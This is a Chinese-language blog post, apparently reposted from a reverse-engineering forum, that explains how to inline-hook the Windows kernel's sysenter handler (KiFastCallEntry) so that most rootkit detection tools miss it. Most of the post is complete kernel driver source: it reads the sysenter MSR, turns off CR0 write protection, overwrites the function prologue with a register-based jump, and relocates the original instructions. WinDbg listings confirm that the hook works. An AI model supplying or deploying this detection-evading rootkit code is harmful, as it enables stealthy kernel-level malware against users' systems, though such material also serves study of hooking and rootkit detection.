Inline Hook Sysenter(绕过绝大多数的rootkit检测工具的检测)

这是堕落天才原创的一种方法,其实就是改变sysenter地址里面代码的执行顺序,可以说就是inline hook。

普通sysenter hook讲到一般的拦截方法就是通过rdmsr  wrmsr两个指令把原来的sysenter地址改成自己的sysenter地址,然后再跳回原来的sysenter地址。但是,这种方法虽然使用简单,但是检测也简单。

一般的rootkit检测工具检测函数inline hook是通过检测长跳转指令0xE9的来判断跳转距离是不是超出函数所在的模块范围来确定的.但是实现跳转我们也可以借助寄存器或变量(用变量跳转需要涉及重定位问题,麻烦.所以一般用寄存器),这样跳转指令就不是0xE9了而是0xFF,这个绝大多数rootkit检测工具是检测不到的。

由于我们已经改变了KiFastCall函数头,所以我们只能把原来的函数头代码放到另外一个地方执行(动态分配内存,当然如果不考虑兼容性硬编码也没问题),然后再跳转回来.这里使用了”三级跳”,大概是这个样子.
    sysenter->KiFastCall
             JMP -> MyKiFastCall(这里进行拦截或什么的)
                    JMP -> KiFastCall head code (这里执行原来KiFastCall函数头代码)
                           JMP -> KiFastCall + N(已经执行指令长度)

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <ntddk.h>

ULONG oldSysenter;
PUCHAR pMoveSysenterCode;
UCHAR uOrigSysenterHead[8];
ULONG i = 0;

ULONG GetOpCodeSize(PVOID Start);

__declspec(naked) MyKiFastCallEntry()
{
    __asm{
        pop  edi      //为了堆栈平衡,这里pop
        mov i,eax
    }
    __asm{
        pushad
        push fs
        push 0x30
        pop fs            //在内核态FS=0x30, 在用户态FS=0x3B
        //用户层堆栈环境转成内核层堆栈环境
    }
    //上面是设置fs为30
    //否则下面的DbgPrint就会出错
    //可能是因为现在还在应用态,DbgPrint必须在fs设为30才能使用

    //DbgPrint("sysenter hook and service id is %d\n",i);

    __asm{
        pop fs
        popad
        jmp pMoveSysenterCode
    }
}

void HookSysenter(){
    int    nCopyLen = 0;
    int    nPos = 0;
    //第一跳,从KiFastCall跳到MyKiFastCallEntry.并绕过rootkit检测工具检测
    UCHAR HookCode[8] = {   0x57,//push edi          堆栈平衡
                            0xbf,0x00,0x00,0x00,0x00,//mov  edi,xxxx
                            0xFF,0xE7 //jmp  edi
    };

    UCHAR JmpCode[] = {0xE9,0x00,0x00,0x00,0x00};    //jmp 0000 第三跳,从KiFastCall函数头代码跳转到原来KiFastCall+N
    __asm{
        mov ecx,0x176
        rdmsr
        mov oldSysenter,eax     //得到KiFastCallEntry地址
    }

    DbgPrint("oldSysenter address: %08x \n",oldSysenter);

    //我们要改写的函数至少需要8个字节,这里计算出实际要COPY的代码,为9个字节
    nPos = oldSysenter;
   while(nCopyLen<8){ //我们要改写的函数头至少需要8字节 这里计算实际需要COPY的代码长度 因为我们不能把一条完整的指令打断
        nCopyLen += GetOpCodeSize((PVOID)nPos);  //参考1
        nPos = oldSysenter + nCopyLen;
    }
    //开辟一块内存
    pMoveSysenterCode = (PUCHAR)ExAllocatePool(NonPagedPool, 20);
    memset(pMoveSysenterCode,0x90,20);
    memset(uOrigSysenterHead,0x90,8);
    //备份原来的8字节
    memcpy(uOrigSysenterHead,(PVOID)oldSysenter,8);
    //修正返回地址 = 跳转到的地址 - 当前地址 - 5
    memcpy(pMoveSysenterCode,(PVOID)oldSysenter,nCopyLen);
    *((ULONG*)(JmpCode+1)) = (oldSysenter + nCopyLen) - ((ULONG)pMoveSysenterCode + nCopyLen) - 5;
    memcpy((PVOID)(pMoveSysenterCode+nCopyLen),JmpCode,5);  ///把跳转代码COPY上去
    *((ULONG*)(HookCode+2)) = (ULONG)MyKiFastCallEntry;   //HOOK地址
    DbgPrint("Saved sysenter code:0x%08X",pMoveSysenterCode);
    DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);
    __asm{
    cli
        mov  eax,cr0
        and  eax,not 10000h
        mov  cr0,eax
      }

    memcpy((PVOID)oldSysenter,HookCode,8);//把改写原来函数头

    __asm{
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax
        sti
      }
}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{    
  __asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  memcpy((PVOID)oldSysenter,uOrigSysenterHead,8);//把原来函数头的八个字节恢复

  __asm{
    mov  eax,cr0
            or   eax,10000h
    mov  cr0,eax
    sti
  }
  ExFreePool(pMoveSysenterCode); // 释放分配的内存
  DbgPrint("Unload sysenterHook");
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{

  DbgPrint("Welcome to sysenterhook.sys");
  DriverObject->DriverUnload = OnUnload;
  HookSysenter();
  return STATUS_SUCCESS;
}

加载前:

kd> u 82847300
nt!KiFastCallEntry:
82847300 b923000000      mov     ecx,23h
82847305 6a30            push    30h
82847307 0fa1            pop     fs
82847309 8ed9            mov     ds,cx
8284730b 8ec1            mov     es,cx
8284730d 648b0d40000000  mov     ecx,dword ptr fs:[40h]
82847314 8b6104          mov     esp,dword ptr [ecx+4]
82847317 6a23            push    23h

加载后:

再来看看KiFastCallEntry里面的指令:

kd> u 82847300
nt!KiFastCallEntry:
82847300 57              push    edi
82847301 bf10a3bf90      mov     edi,offset hooksysenter!MyKiFastCallEntry (90bfa310)
82847306 ffe7            jmp     edi
82847308 a18ed98ec1      mov     eax,dword ptr ds:[C18ED98Eh]
8284730d 648b0d40000000  mov     ecx,dword ptr fs:[40h]
82847314 8b6104          mov     esp,dword ptr [ecx+4]
82847317 6a23            push    23h
82847319 52              push    edx

前面8个字节已经替换成了自己的jmp语句,直接jmp到MyKiFastCallEntry 。

执行完我们自定义的函数后,又jmp到pMoveSysenterCode。

kd> u MyKiFastCallEntry l 10
hooksysenter!MyKiFastCallEntry [d:\vs2012\hooksysenter\hooksysenter\hooksysenter2.c @ 11]:
90bfa310 5f              pop     edi
90bfa311 a320c8bf90      mov     dword ptr [hooksysenter!i (90bfc820)],eax
90bfa316 60              pushad
90bfa317 0fa0            push    fs
90bfa319 6a30            push    30h
90bfa31b 0fa1            pop     fs
90bfa31d 0fa1            pop     fs
90bfa31f 61              popad
90bfa320 ff2530c8bf90    jmp     dword ptr [hooksysenter!pMoveSysenterCode (90bfc830)]

pMoveSysenterCode里面保存的是原来被替换掉的指令:

kd> dd 90bfc830 l1
90bfc830  86297f58
kd> u 86297f58
86297f58 b923000000      mov     ecx,23h
86297f5d 6a30            push    30h
86297f5f 0fa1            pop     fs
86297f61 e9a3f35afc      jmp     nt!KiFastCallEntry+0x9 (82847309)

执行完原来被替换的指令之后,又跳回原始KiFastCall + N的位置继续执行。

不过这种还是能被检测到:

image

上面代码的GetOpCodeSize这个函数,是计算第N条完整汇编指令所占的长度。

原文地址:http://bbs.pediy.com/showthread.php?t=42705

本文链接:http://www.alonemonkey.com/sysenter-inline-hook.html